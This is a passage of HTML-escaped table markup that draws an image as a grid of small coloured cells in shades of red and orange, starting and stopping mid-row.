&lt;td style=&quot;background-color: #e45c0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e7600b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ea650e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e9690f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eb6b0e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ec6d0d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ed6d0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ed6c0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ed6b0e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #eb690e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e7660e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e7600d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e65a0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e4550a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e04e08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db4706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d64007; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d13a05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c93103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c22900; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b62504; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ab1f03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a11a03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #971402; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c0f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f0d06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #740c04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #700804; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #750505; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c0304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f0104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #8a0005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c0005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a0004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #840204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #790402; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #760a02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e0f03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a1205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #941304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b1603; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a21903; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa1d03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b11f03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b62202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc2603; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c22a02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c72d02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb3102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce3602; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d23a03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d43d03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d74003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db4103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd4204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de4402; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #de4502; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df4604; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd4404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db4103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d83e03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d33d01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf3b00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce3601; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb2f01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c82c02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c12a02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb2601; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b52202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b01e01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a91b03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a11903; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #971603; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e1402; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #870f05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d0d06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #720c03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #720401; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #810004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #800004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #860003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #820103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #800102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #830001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #800003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a0304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a0b03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #811104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a1305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #941406; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b1706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a11904; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a91d05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b12005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b62305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb2703; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf2a02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c82d04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce3006; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf3205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d13505; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d43707; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d63809; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d83a09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d83b07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d83b05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d93b08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d83908; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d53708; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d43509; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d13405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd3302; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c93004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c52d07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c02a05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc2704; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b72404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b12005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa1b03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a51904; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9c1602; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #921402; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #891002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #800f03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #780a02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #780400; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d0003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #7f0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b0001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #800103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #810104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e0202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a0501; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c0a02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #831005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8b1304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #921505; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #991705; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a01905; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a91c04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae1f03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b52204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba2504; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf2703; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c22a03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c62c04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c92e03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc3104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce3206; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf3406; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf3405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf3404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d03506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf3306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd3106; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb2f07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca2d06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c72b04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c32906; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be2707; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b92406; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b22104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae1f03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa1b02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a51701; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9c1704; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #941404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a1105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #810d05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #760701; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #730300; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #790101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d0104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d0104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c0203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c0203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #7a0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b0002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7b0002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c0204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #800102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #820102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #800002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7f0503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #820b01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a0f05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #921207; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #991508; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9f1802; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a51b01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac1d03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b31e04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b52105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b72305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc2606; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c02706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c22905; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c42b04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c52c06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c52d05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c52d06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c62d05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c42c05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c32a06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c22807; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf2605; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc2505; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b92405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b52204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b01f03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a81d04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a41a03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9f1804; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a1503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #901307; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #870e06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e0804; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #740302; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #700000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #720000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #740001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #780103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #790002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #780101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #780101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #7c0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7d0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c0002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c0002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e0003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7e0004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7c0004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #780103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #760103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #780302; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
